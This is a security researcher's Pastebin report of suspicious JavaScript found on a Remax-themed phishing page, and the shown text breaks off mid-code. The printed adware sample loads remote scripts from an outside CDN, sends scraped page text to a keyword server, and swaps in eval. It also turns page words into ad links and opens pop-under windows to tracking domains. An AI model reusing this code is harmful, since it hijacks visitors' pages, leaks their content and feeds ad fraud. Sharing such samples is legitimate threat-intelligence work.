Advertisement
Neonprimetime

Suspicious Javascript: d3lvr7yuk4uaui.cloudfront.net

Jan 4th, 2015
746
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Suspicious JavaScript
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. ******
  6. Javascript that is Part of a Remax Phish ( http://urlquery.net/report.php?id=1420351811293 )
  7.  
  8. hxxp://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_16.js?pid=16&zoneid=7818&cid=US&rid=NV&ccid=Fernley&ip=199.48.177.231&aoi=1316649369
  9.  
  10. ******
  11.  
  12. if ("undefined" == typeof _GPL_ld) {
  13.     var _GPL_ld = {
  14.         script: !1,
  15.         vars: {},
  16.         newvars: {},
  17.         insertJS: function(a) {
  18.             var c = document.getElementsByTagName("head"),
  19.                 c = 0 < c.length ? c : document.getElementsByTagName("body");
  20.             if (0 < c.length) {
  21.                 var b = document.createElement("script");
  22.                 b.async = !0;
  23.                 b.type = "text/javascript";
  24.                 b.src = a;
  25.                 2 <= arguments.length && (b.id = arguments[1]);
  26.                 c[0].appendChild(b)
  27.             }
  28.         },
  29.         getVars: function(a) {
  30.             for (var c = a.slice(a.indexOf("?") + 1).split("&"), b = 0; b < c.length; b++) a = c[b].split("="), this.vars[a[0]] = 1 < a.length ? unescape(a[1].replace("+",
  31.                 " ")) : "";
  32.             return !0
  33.         },
  34.         findScript: function(a, c) {
  35.             for (var b = document.getElementsByTagName("script"), d = b.length - 1; 0 <= d; --d)
  36.                 if (b[d].src && b[d].src.match(a) && b[d].src.match(c)) return b[d];
  37.             return !1
  38.         },
  39.         init: function() {
  40.             if (this.script && -1 != this.script.src.indexOf("?")) {
  41.                 this.getVars(this.script.src.replace(/&amp;/ig, "&"));
  42.                 var a = this.script.src.split("?")[1].replace(/&?(zoneid|cid|rid|ccid)=([^&]*)/ig, "");
  43.                 0 < a.length && "&" == a[0] && (a = a.substring(1));
  44.                 _GPL_ld.insertJS(location.protocol + "//" + _GPL_ld.vars.baseCDN + "/loaders/" +
  45.                     this.vars.pid + "/l.js?" + a + "&zoneid=" + _GPL_ld.newvars.zoneid)
  46.             }
  47.         }
  48.     };
  49.     _GPL_ld.script = _GPL_ld.findScript("", /items\/loaders\/loader_\d+\.js/);
  50.     if (_GPL_ld.script) {
  51.         _GPL_ld.vars.baseCDN = "cdncache2-a.akamaihd.net";
  52.         _GPL_ld.newvars.zoneid = 74570;
  53.         var _GPL_baseCDN = _GPL_ld.vars.baseCDN;
  54.         _GPL_ld.init()
  55.     }
  56. };
  57.  
  58.  
  59. *********
  60.  
  61. hxxp://cdncache2-a.akamaihd.net/js/5756e237079686372756e647271607c69616d6/r.js
  62.  
  63. *********
  64.  
  65. if(typeof _GPL.ri=='function'&&!_GPL.isIE6){_GPL.ri('_GPL_r')}_GPL.rl=true;
  66.  
  67. *********
  68.  
  69. hxxp://cdncache2-a.akamaihd.net/i/items/it/js/itn.js
  70.  
  71. *********
  72.  
  73. /*
  74.  
  75.  
  76.    
  77.    
  78. */
  79. _GPL.j(function(d) {
  80.     function fa(a) {
  81.         function b() {
  82.             do {
  83.                 if (e >= c.length) break;
  84.                 var g = d(c[e]),
  85.                     O = g.offset().top,
  86.                     A = w.max(0, w.floor(O / ga));
  87.                 E[A] || (E[A] = []);
  88.                 E[A].push([g, O, []]);
  89.                 ++e
  90.             } while (0 != e % xa);
  91.             e < c.length ? F(b, 0) : (P = !1, a())
  92.         }
  93.         P = !0;
  94.         for (var c = [], g = 0; g < ha.length; ++g) c = c.concat(ya(s.getElementsByTagName(ha[g])));
  95.         var c = d(c).not(za).filter(":visible"),
  96.             e = 0;
  97.         b()
  98.     }
  99.  
  100.     function ia(a) {
  101.         var b = [],
  102.             c = E[a] || [];
  103.         Q[a] = Q[a] ? Q[a].concat(c) : c;
  104.         E[a] = [];
  105.         c.sort(function(a, b) {
  106.             return a[1] - b[1]
  107.         });
  108.         for (var g = 0, e = c.length; g < e; ++g) {
  109.             var f = c[g];
  110.             f[0].parents(Aa).length ?
  111.                 (c.splice(g--, 1), --e) : f[0].prop(Y) || f[0].prop(Z) || (f[0].prop(Y, 1), f[0].contents().each(function(a, b) {
  112.                     if (3 == b.nodeType) {
  113.                         for (var c, g = 0, e = d.trim(b.nodeValue.toLowerCase().replace(RegExp("[^\\w\\s'`\u2019\u2018$\u20ac%\u00a3\u20a4\u00a5" + I + "_-]+", "g"), Ba).replace(/\s+/g, " ")); c = Ca.exec(e);) 4 < c[0].replace(/\D+/g, "").length && (ja(f[2], e.substring(g, c.index)), g = c.index + c[0].length);
  114.                         ja(f[2], e.substring(g))
  115.                     }
  116.                 }), f[2].length && (b = b.concat(f[2])))
  117.         }
  118.         for (g = c = 0; g < b.length; g++) c += b[g].split(" ").length;
  119.         c > Da && Ea(b.join("|").substring(0,
  120.             5E4), a)
  121.     }
  122.  
  123.     function Ea(a, b) {
  124.         if (ka) try {
  125.             var c = new ka;
  126.             c.onload = function(a) {
  127.                 if (4 == c.readyState && 200 === c.status && c.responseText) {
  128.                     try {
  129.                         a = e.JSON.parse(c.responseText || "{}")
  130.                     } catch (d) {
  131.                         return
  132.                     }
  133.                     la(a, b)
  134.                 }
  135.             };
  136.             c.open("POST", r.replace("/kwd", "/kwdu"));
  137.             c.send(a);
  138.             return
  139.         } catch (d) {}
  140.         Fa(a, b)
  141.     }
  142.  
  143.     function Fa(a, b) {
  144.         var c = "i" + w.floor(1E16 * w.random()).toString(16) + "tn";
  145.         R[c] = function(a) {
  146.             try {
  147.                 0 == --S[0] && (h.executeJS = S[1]), F(function() {
  148.                     d("#" + c).remove()
  149.                 }, 100), delete R[c]
  150.             } catch (e) {
  151.                 R[c] = J
  152.             }
  153.             la(a || {}, b)
  154.         };
  155.         1 == ++S[0] && (S[1] = h.executeJS, h.executeJS =
  156.             eval);
  157.         a = l(a).replace(/'/g, "%27").replace(/\~/g, "%7E").replace(/\!/g, "%21").replace(/\*/g, "%2A").replace(/\(/g, "%28").replace(/\)/g, "%29");
  158.         var e = l(r + "&cb=_GPL.items.a652c." + c);
  159.         d("<div style='position: absolute' id='" + c + "'><object id='" + c + "_' classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0' width='1' height='1'><param name='movie' value='" + ma + "' /><param name='quality' value='high' /><param name='wmode' value='transparent'><param name='allowScriptAccess' value='always'><param name='flashVars' value='keywordsURL=" +
  160.             e + "&keywords=" + a + "'>\x3c!--[if !IE]> <--\x3e <object id='" + c + "__' data='" + ma + "' width='1' height='1' type='application/x-shockwave-flash'><param name='quality' value='high' /><param name='wmode' value='transparent'><param name='allowScriptAccess' value='always'><param name='flashVars' value='keywordsURL=" + e + "&keywords=" + a + "'></object> \x3c!--\x3e <![endif]--\x3e </object></div>").prop(Y, !0).prependTo(C)
  161.     }
  162.  
  163.     function la(a, b) {
  164.         var c = a.results;
  165.         if (a.blocked) E = [], G.off("scroll", na);
  166.         else if (c && c.length) {
  167.             T[b] =
  168.                 c.slice();
  169.             c.sort(function(a, b) {
  170.                 return (a.index | 0) - (b.index | 0)
  171.             });
  172.             for (var g = Q[b], k = 0; c.length && k < g.length; ++k)
  173.                 for (var f = 0; f < c.length; ++f) c[f].cid != aa || e.canLoad("bda27") || !e.f.bda27 || e.gc("cf-id") || (c[f].style = "iframe_300x250", c[f].src = "//secure.trk2wn.com/serve?zoneid=" + l(v) + "&cv_domain=" + l(n.protocol + "//" + n.hostname) + "&sec=itx&size=300x250"), Ga(g[k][0], c[f]) && c.splice(f--, 1);
  174.             Ha(c, U, T[b], Ia(g, c));
  175.             oa || (oa = !0, d(s).mousemove(function(a) {
  176.                 B && (a.pageY < B.top[0] - V || a.pageY > B.top[1] + V || a.pageX < B.left[0] - V ||
  177.                     a.pageX > B.left[1] + V ? (W = !1, K()) : W = !0)
  178.             }))
  179.         }
  180.     }
  181.  
  182.     function Ia(a, b) {
  183.         function c(a, b) {
  184.             return 3 == b.nodeType && d.trim(b.data.replace(/\s+/g, " ")).length
  185.         }
  186.         if (b.length) {
  187.             for (var e = [], k = 0; k < a.length; ++k) a[k][0].contents().filter(c).each(function() {
  188.                 e.push(a[k][0])
  189.             });
  190.             var f = 2048;
  191.             return d.map(b, function(a) {
  192.                 if (a = e[a.index]) {
  193.                     a = a.contents().filter(c).map(function(a, b) {
  194.                         return d.trim(b.data.replace(/[\\|]/g, "\\$&").replace(/\s+/g, " "))
  195.                     }).get().join("|").toLowerCase();
  196.                     var b = a.substring(0, f);
  197.                     f -= a.length;
  198.                     return b
  199.                 }
  200.                 return "[[missing]]"
  201.             })
  202.         }
  203.     }
  204.  
  205.     function Ga(a, b) {
  206.         var c, g;
  207.         a.contents().each(function() {
  208.             c = this;
  209.             3 == c.nodeType && (g = RegExp("(^|[^" + I + "0-9])(" + b.newText.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&").replace(/\s+/g, "\\s+") + ")([^" + I + "0-9]|$)", "i").exec(c.data));
  210.             return !g
  211.         });
  212.         if (g) {
  213.             var h = g.index + g[1].length;
  214.             d(c.parentNode);
  215.             var f = c.data.substring(0, h),
  216.                 n = s.createTextNode(g[2]),
  217.                 h = s.createTextNode(c.data.substring(h + g[2].length)),
  218.                 A = "Ad by " + pa,
  219.                 u = Ja++;
  220.             b.newUrl += "&data_tagname=" + l((c.parentNode.tagName || "").toUpperCase());
  221.             var x = d('<a href="' +
  222.                 k + '"></a>').attr("id", "_GPLITA_" + u).attr("in_rurl", b.newUrl);
  223.             x.attr("title", "Click to Continue > by " + pa);
  224.             qa(x, {
  225.                 "text-decoration": "underline"
  226.             });
  227.             x = x[0];
  228.             x[Z] = 1;
  229.             x.text = g[2];
  230.             var t = "click";
  231.             if (L("chrome") || L("safari")) t = "mousedown";
  232.             else if (L("firefox") || s.all || L("trident")) t = "mouseup";
  233.             ba(x, t, function() {
  234.                 if ("iframe_300x250" == b.style) return !1;
  235.                 var a = this.id.split("_").pop(),
  236.                     a = d("#_GPLITA_" + a);
  237.                 a.length && a.replaceWith(a[0].text);
  238.                 K();
  239.                 ra(this.getAttribute("in_rurl") + "&data_ct=" + b.style + "&data_clickel=link", b);
  240.                 return !1
  241.             });
  242.             ba(x, "mousedown", function(a) {
  243.                 a && 2 == a.button && this.setAttribute("href", this.getAttribute("in_rurl") + "&data_ct=" + b.style + "&data_clickel=link");
  244.                 return !1
  245.             });
  246.             if (b.style && "none" != b.style && "link_only" != b.style) {
  247.                 var r;
  248.                 x.onmouseout = function(a) {
  249.                     this.setAttribute("in_hover", "");
  250.                     M(r);
  251.                     r = F(function() {
  252.                         var a = d("#_GPLITA_" + u),
  253.                             b = d("#_GPLITHV_" + u);
  254.                         W || a.length && "1" == a.attr("in_hover") || b.length && "1" == b.attr("in_hover") || b.length && e.items.a652c.hideHover(u)
  255.                     }, 4E3)
  256.                 };
  257.                 x.onmouseover = function(a) {
  258.                     this.setAttribute("in_hover",
  259.                         1);
  260.                     M(r);
  261.                     if (1 != this.getAttribute("in_hdr")) {
  262.                         K();
  263.                         this.setAttribute("in_hdr", 1);
  264.                         a = d(this).css("color");
  265.                         Ka(a) && (a = "#3366cc");
  266.                         var c, g, f;
  267.                         d('<div class="gplt_tooltip" />');
  268.                         switch (b.style) {
  269.                             case "iframe_300x250":
  270.                                 c = 347;
  271.                                 g = 315;
  272.                                 f = '<div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -810px no-repeat;display:block;overflow:hidden; border: none;">&nbsp;</div><div style="' + z + ";padding:5px 0;background: url(" + m + "/items/it/img/" + q + ') 0 -824px no-repeat;display:block;min-height:277px;width:100%;"><iframe src="' +
  273.                                     b.src + '" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" style="display:block;border:0;width:300px;height:250px;margin:0px 0px 0px 23px;position:relative;"></iframe><a href="' + k + '" style="color:#999;font-family:verdana, sans-serif;font-size:10px;position:absolute;bottom:-28px;right:30px;height:40px;width:150px;text-align:right;vertical-align: bottom;" on' + t + '="return _GPL.items.a652c.info(event)" class="gpl-intext-disclosure-text">' + A + '</a><a href="' + k + '" style="color:#d4d4d4;font-family:verdana, sans-serif;font-size:12px;font-weight:bold;position:absolute;right:15px;bottom:-6px;width:10px;height:20px;text-decoration:none;" on' +
  274.                                     t + '="return _GPL.items.a652c.hideHover(' + u + ',event)">X</a></div><div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -1287px no-repeat;display:block; overflow:hidden; border: none;">&nbsp;</div>';
  275.                                 break;
  276.                             case "image_only":
  277.                             case "image_only_new":
  278.                                 c = 347;
  279.                                 g = 315;
  280.                                 f = '<div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -810px no-repeat;display:block;overflow:hidden; border: none;">&nbsp;</div><div style="' +
  281.                                     z + ";padding:5px 0;background: url(" + m + "/items/it/img/" + q + ') 0 -824px no-repeat;display:block;min-height:277px;width:100%;"><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=img\');}return false"><img src="' + N + "intext-a.akamaihd.net" + b.img + '" alt="" style="display:block;border:0;width:300px;height:250px;margin:0px 0px 0px 23px;position:relative;" /></a><a href="' + k + '" style="color:#999;font-family:verdana, sans-serif;font-size:10px;position:absolute;bottom:-28px;right:30px;height:40px;width:150px;text-align:right;vertical-align: bottom;" on' +
  282.                                     t + '="return _GPL.items.a652c.info(event)" class="gpl-intext-disclosure-text">' + A + '</a><a href="' + k + '" style="color:#d4d4d4;font-family:verdana, sans-serif;font-size:12px;font-weight:bold;position:absolute;right:15px;bottom:-6px;width:10px;height:20px;text-decoration:none;" on' + t + '="return _GPL.items.a652c.hideHover(' + u + ',event)">X</a></div><div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -1287px no-repeat;display:block; overflow:hidden; border: none;">&nbsp;</div>';
  283.                                 break;
  284.                             case "small_banner":
  285.                             case "small_banner_new":
  286.                                 c = 279;
  287.                                 g = 217;
  288.                                 f = '<div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -397px no-repeat;display:block;overflow:hidden; border: none;">&nbsp;</div><div style="' + z + ";padding:5px 0px;background: url(" + m + "/items/it/img/" + q + ') 0 -414px no-repeat;display:block;min-height:179px;width:100%"><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style +
  289.                                     '&data_clickel=img\');}return false" style="' + z + '"><img src="' + N + "intext-a.akamaihd.net" + b.img + '" alt="" style="display:block;border:0;width:234px;height:60px;margin:0 0 0 -117px;position:relative;left:50%;top:0px;" /></a><div style="' + z + ';display:block;border:0;width:234px;height:auto;margin:0 0 0 -117px;position:relative;left:50%;top:5px;"><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=header\');}return false" style="display:block;color:blue;font-family:verdana, sans-serif;text-decoration:none;font-size:13px;">' +
  290.                                     b.header + '</a><p style="color:#010101;font-family:tahoma, sans-serif;font-size:11px;line-height:15px;min-height:40px;margin:0 0 3px;width:100%;">' + b.body + '</p><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=footer\');}return false" style="display:block;color:#009933;font-family:tahoma, sans-serif;font-size:10px;line-height:13px;margin: 0 0 8px;text-decoration:none;">' + b.footer + '</a><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" +
  291.                                     b.newUrl + "&data_ct=" + b.style + '&data_clickel=button\');}return false" style="background: url(' + m + "/items/it/img/" + q + ') -279px 0 no-repeat;border:0;display:block;width:94px;height:24px;margin:0;" /></a></div><a href="' + k + '" style="color:#999;font-family:verdana, sans-serif;font-size:10px;position:absolute;bottom:-28px;right:30px;height:40px;width:150px;text-align:right;vertical-align: bottom;" on' + t + '="return _GPL.items.a652c.info(event)" class="gpl-intext-disclosure-text">' + A + '</a><a href="' + k + '" style="color:#d4d4d4;font-family:verdana, sans-serif;font-size:12px;font-weight:bold;position:absolute;right:15px;bottom:-6px;width:10px;height:20px;text-decoration:none;" on' +
  292.                                     t + '="return _GPL.items.a652c.hideHover(' + u + ',event)">X</a></div><div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -796px no-repeat;display:block;overflow:hidden; border: none;">&nbsp;</div>';
  293.                                 break;
  294.                             case "small_square":
  295.                             case "small_square_new":
  296.                                 c = 347;
  297.                                 g = 180;
  298.                                 f = '<div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -810px no-repeat;display:block;overflow:hidden; border: none;">&nbsp;</div><div style="' +
  299.                                     z + "padding:5px 0px;background: url(" + m + "/items/it/img/" + q + ") 0 -824px no-repeat;display:block; min-height:142px;width:100%\"><a onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=img\');}return false" href="' + k + '"><img src="' + N + "intext-a.akamaihd.net" + b.img + '" alt="" style="display:block;border:0;width:125px;height:125px;margin:0;position:relative;float:right;margin-right: 20px;" /></a><div style="' + z + 'display:block;border:0;width:165px;height:auto;position: relative;left:25px;"><a href="' +
  300.                                     k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=header\');}return false" style="display:block;color:blue;font-family:verdana, sans-serif;text-decoration:none;font-size:13px;">' + b.header + '</a><p style="color:#010101;font-family:tahoma, sans-serif;font-size:11px;line-height:15px;min-height:65px;margin:0 0 3px;width:100%;">' + b.body + '</p><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl +
  301.                                     "&data_ct=" + b.style + '&data_clickel=footer\');}return false" style="display:block;color:#009933;font-family:tahoma, sans-serif;font-size:10px;line-height:13px;margin: 0 0 8px;text-decoration:none;">' + b.footer + '</a><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=button\');}return false" style="background: url(' + m + "/items/it/img/" + q + ') -279px 0 no-repeat;border:0;display:block;width:94px;height:24px;margin:0;" /></a></div><a href="' +
  302.                                     k + '" style="color:#999;font-family:verdana, sans-serif;font-size:10px;position:absolute;bottom:-28px;right:30px;height:40px;width:150px;text-align:right;vertical-align: bottom;" on' + t + '="return _GPL.items.a652c.info(event)" class="gpl-intext-disclosure-text">' + A + '</a><a href="' + k + '" style="color:#d4d4d4;font-family:verdana, sans-serif;font-size:12px;font-weight:bold;position:absolute;right:15px;bottom:-6px;width:10px;height:20px;text-decoration:none;" on' + t + '="return _GPL.items.a652c.hideHover(' +
  303.                                     u + ',event)">X</a></div><div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -1287px no-repeat;display:block;overflow:hidden; border: none;">&nbsp;</div>';
  304.                                 break;
  305.                             default:
  306.                                 c = 259, g = 139, f = '<div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 0px no-repeat;display:block;overflow:hidden; border: none;">&nbsp;</div><div style="' + z + ";background: url(" + m + "/items/it/img/" + q + ') 0 -14px no-repeat;display:block;min-height:111px;width:100%;"><div style="' +
  307.                                     z + ';display:block;border:0;width:220px;height:auto;margin:0 0 0 -110px;position:relative;left:50%;top:0px;"><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=header\');}return false" style="display:block;color:blue;font-family:verdana, sans-serif;text-decoration:none;font-size:13px;">' + b.header + '</a><p style="color:#010101;font-family:tahoma, sans-serif;font-size:11px;line-height:15px;min-height:40px;margin:0 0 3px;width:100%;">' +
  308.                                     b.body + '</p><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=footer\');}return false" style="display:block;color:#009933;font-family:tahoma, sans-serif;font-size:10px;line-height:13px;margin: 0 0 8px;text-decoration:none">' + b.footer + '</a><a href="' + k + "\" onmousedown=\"if(event&&event.button==2){this.setAttribute('href','" + b.newUrl + "&data_ct=" + b.style + '&data_clickel=button\');}return false" style="background: url(' + m +
  309.                                     "/items/it/img/" + q + ') -279px 0 no-repeat;border:0;display:block;width:94px;height:24px;margin:0;" /></a></div><a href="' + k + '" style="color:#d4d4d4;font-family:verdana,sans-serif;font-size:12px;font-weight:bold;position:absolute;right:15px;bottom:-6px;width:10px;height:20px;text-decoration:none" on' + t + '="return _GPL.items.a652c.hideHover(' + u + ',event)">X</a><div style="height: 18px; width: 230px; overflow: hidden; text-align: right;"><a href="' + k + '" style="color:#999;font-family:verdana, sans-serif;font-size:10px;text-align:right;vertical-align: bottom;position:relative;bottom:-4px;" on' +
  310.                                     t + '="return _GPL.items.a652c.info(event)" class="gpl-intext-disclosure-text">' + A + '</a></div></div><div style="height: 14px; width: 100%; margin: 0px; padding: 0px; background: url(' + m + "/items/it/img/" + q + ') 0 -380px no-repeat;display:block;overflow:hidden; border: none;">&nbsp;</div>'
  311.                         }
  312.                         var h = d(this).offset();
  313.                         a = h.left;
  314.                         var l = 3 + h.top + this.offsetHeight,
  315.                             n = this.getBoundingClientRect(),
  316.                             O = d(window).width(),
  317.                             H = G[0].innerHeight | 0 || G.height() || C.height(),
  318.                             v;
  319.                         n.right + c > O && (v = !0, a = w.max(0, n.right - c));
  320.                         var p = s.createElement("DIV");
  321.                         p[Z] = 1;
  322.                         p.setAttribute("id", "_GPLITHV_" + u);
  323.                         e.canLoad("o7272") && p.setAttribute("title", x.title);
  324.                         d(p).html(f);
  325.                         ba(p, t, function() {
  326.                             if ("iframe_300x250" == b.style) return !1;
  327.                             var a = d(this).attr("id").split("_").pop(),
  328.                                 a = d("#_GPLITA_" + a);
  329.                             a.length && a.replaceWith(a[0].text);
  330.                             K();
  331.                             ra(b.newUrl + "&data_ct=" + b.style + "&data_clickel=hover", b);
  332.                             return !1
  333.                         });
  334.                         p.onmouseout = function(a) {
  335.                             this.setAttribute("in_hover", "");
  336.                             M(r);
  337.                             r = F(function() {
  338.                                 var a = d("#_GPLITA_" + u),
  339.                                     b = d("#_GPLITHV_" + u);
  340.                                 W || a.length && "1" == a.attr("in_hover") || b.length && "1" ==
  341.                                     b.attr("in_hover") || b.length && e.items.a652c.hideHover(u)
  342.                             }, 4E3)
  343.                         };
  344.                         p.onmouseover = function(a) {
  345.                             this.setAttribute("in_hover", "1");
  346.                             M(r)
  347.                         };
  348.                         d(p).appendTo(d("body"));
  349.                         d(p).attr("style", [z, "z-index: 2147483647;position: absolute", "top:" + l + "px", "left:" + a + "px", "cursor: pointer", "width:" + c + "px", "display: inline-block", "min-height:" + g + "px"].join(";"));
  350.                         c = d(p).height();
  351.                         var y;
  352.                         n.bottom + c > H && (y = !0, l = h.top - c, d(p).css("top", l + "px"));
  353.                         h = p.getBoundingClientRect();
  354.                         H = y ? h.bottom - n.top : h.top - n.bottom;
  355.                         3 < H && (y ? d(p).css("top", l - (H +
  356.                             3)) : d(p).css("top", l + (3 - H)));
  357.                         v || (v = h.left - n.left, 10 < v && d(p).css("left", a - v));
  358.                         B = {
  359.                             top: [d(p).offset().top, d(p).offset().top + d(p).height()],
  360.                             left: [d(p).offset().left, d(p).offset().left + d(p).width()]
  361.                         };
  362.                         b.pixel && e.firePixel(b.pixel);
  363.                         d(p).hide();
  364.                         F(function() {
  365.                             d(p).show()
  366.                         }, b.cid == aa ? 0 : 250)
  367.                     }
  368.                 }
  369.             }
  370.             c.data = f;
  371.             f = d("<img>").attr("src", m + "/items/it/img/arrow-10x10.png");
  372.             qa(f, {
  373.                 height: "10px",
  374.                 width: "10px",
  375.                 margin: "0 0 0 3px",
  376.                 "vertical-align": "super"
  377.             });
  378.             d(x).text(n.data).append(f).add(h).insertAfter(c);
  379.             return !0
  380.         }
  381.     }
  382.  
  383.     function La(a) {
  384.         a =
  385.             a || h.event || {};
  386.         Ma(a) || K()
  387.     }
  388.  
  389.     function K() {
  390.         d("div[id^=_GPLITHV_]").each(function() {
  391.             var a = d(this).attr("id").replace("_GPLITHV_", "");
  392.             d("#_GPLITA_" + a).attr("in_hdr", "");
  393.             d(this).remove()
  394.         });
  395.         d("div[id^=_GPLITHV_]").length || (B = !1)
  396.     }
  397.  
  398.     function Na(a, b) {
  399.         e.items.e6a00.get(["a652c_ci"], function(c) {
  400.             c = (c.v.a652c_ci || "").split("|").slice(0, 2);
  401.             var d = b.split("=")[1].split("&")[0];
  402.             c.unshift(a + "," + d);
  403.             e.items.e6a00.set("a652c_ci", c.join("|"))
  404.         })
  405.     }
  406.  
  407.     function ra(a, b) {
  408.         var c = +new Date / 1E3 | 0;
  409.         Na(c, a);
  410.         c = "a652c_" + c + "_" + n.hostname.replace(/[^\w]/g,
  411.             "");
  412.         if (b.cid == aa) {
  413.             if (!e.canLoad("z7b85")) {
  414.                 Oa(a, c, b);
  415.                 return
  416.             }
  417.             "US" != e.vars.cid && (a = "http://clkmon.com/adServe/banners?pid=16232&cid=" + v + "&action=r&q=" + l(n.hostname), (new Image).src = n.protocol + "//cdnstats-a.akamaihd.net/s.gif?t=it_pop&cid=" + l(e.vars.cid) + "&type=rh&r=" + +new Date)
  418.         }
  419.         var d = h.open("", "_blank");
  420.         d && (d.name = c, d.location.href = a)
  421.     }
  422.  
  423.     function Oa(a, b, c) {
  424.         function g() {
  425.             var a = n.href.substr(0, 1500),
  426.                 b = "/" != n.pathname ? k() : "",
  427.                 a = a.replace(/:/g, "%3A"),
  428.                 b = b.replace(/:/g, "%3A").substring(0, w.max(0, 1500 - a.length)),
  429.                 a = l(e.B64.encode(a + "::z-" + U + "-" + v + "::" + b));
  430.             return e.proto + f + "/pops?c=" + a + "&a=1&ms=1"
  431.         }
  432.  
  433.         function k() {
  434.             function a(b) {
  435.                 return b.toLowerCase().replace(/[.,!?]/g, " ").split(" ")
  436.             }
  437.             var b = [];
  438.             d("title").length && (b = b.concat(a(d("title").text())));
  439.             d('meta[property="og:title"],meta[property="og:description"],meta[name="description"],meta[name="keywords"]').each(function() {
  440.                 var c = d.trim(d(this).attr("content"));
  441.                 c && c.match(/^\s*[a-zA-Z0-9]/) && (b = b.concat(a(c)))
  442.             });
  443.             return d.trim(function(a) {
  444.                 var b = [];
  445.                 d.each(a, function(a,
  446.                     c) {
  447.                     -1 == d.inArray(c, b) && b.push(c)
  448.                 });
  449.                 return b
  450.             }(b).join(",").replace(/([,]+)/g, ",").replace(/\s+/g, " "))
  451.         }
  452.         var f = "s.ptrk-wn.com",
  453.             h = window.open("", "_blank");
  454.         h && (h.name = b);
  455.         var m = e.rs("20");
  456.         window[m] = function(b) {
  457.             try {
  458.                 b && b.score && b.cid ? h.location.href = e.proto + f + "/click?c=" + l(b.cid) + "&data_source=a652c" : "US" == e.vars.cid ? (h.location.href = a, (new Image).src = n.protocol + "//cdnstats-a.akamaihd.net/s.gif?t=it_pop&cid=" + l(e.vars.cid) + "&type=bing&r=" + +new Date) : (h.location.href = "http://clkmon.com/adServe/banners?pid=16232&cid=" +
  459.                     v + "&action=r&q=" + l(n.hostname), (new Image).src = n.protocol + "//cdnstats-a.akamaihd.net/s.gif?t=it_pop&cid=" + l(e.vars.cid) + "&type=rh&r=" + +new Date)
  460.             } catch (c) {}
  461.             delete window[m]
  462.         };
  463.         if (sa) window[m]();
  464.         else sa = !0, e.insertJS(g() + "&data_source=a652c&cb=" + m)
  465.     }
  466.  
  467.     function Ma(a) {
  468.         a = a || h.event || {};
  469.         if (1 < a.which || 0 < a.button) return !0;
  470.         for (a = a.target || a.srcElement; a;) {
  471.             if ("string" == typeof a.id && (-1 < a.id.indexOf("_GPLITA_") || -1 < a.id.indexOf("_GPLITHV_"))) return !0;
  472.             a = a.parentNode
  473.         }
  474.         return !1
  475.     }
  476.  
  477.     function Ka(a) {
  478.         a = a.replace(/[^0-9,]/g,
  479.             "").split(",");
  480.         return 3 <= a.length && 130 < w.sqrt(0.299 * y(a[0], 10) * y(a[0], 10) + 0.587 * y(a[1], 10) * y(a[1], 10) + 0.114 * y(a[2], 10) * y(a[2], 10)) ? !0 : !1
  481.     }
  482.  
  483.     function Pa() {
  484.         if (!ta) {
  485.             ta = !0;
  486.             var a = s.createElement("style");
  487.             a.setAttribute("type", "text/css");
  488.             a.styleSheet ? a.styleSheet.cssText = "a.gpl-intext-disclosure-text{ text-decoration: none; } a.gpl-intext-disclosure-text:hover { text-decoration: underline; }" : a.appendChild(s.createTextNode("a.gpl-intext-disclosure-text{ text-decoration: none; } a.gpl-intext-disclosure-text:hover { text-decoration: underline; }"));
  489.             s.getElementsByTagName("head").length && s.getElementsByTagName("head")[0].appendChild(a)
  490.         }
  491.     }
  492.  
  493.     function ja(a, b) {
  494.         b = d.trim(b);
  495.         2 < b.length && -1 == a.indexOf(b) && a.push(b)
  496.     }
  497.  
  498.     function qa(a, b) {
  499.         b = d.extend(!0, {
  500.                 background: "transparent",
  501.                 border: "none",
  502.                 display: h.addEventListener ? "inline-block" : "inline",
  503.                 "text-indent": "0",
  504.                 "float": "none",
  505.                 "font-weight": "bold",
  506.                 height: "auto",
  507.                 margin: "0",
  508.                 "min-height": "0",
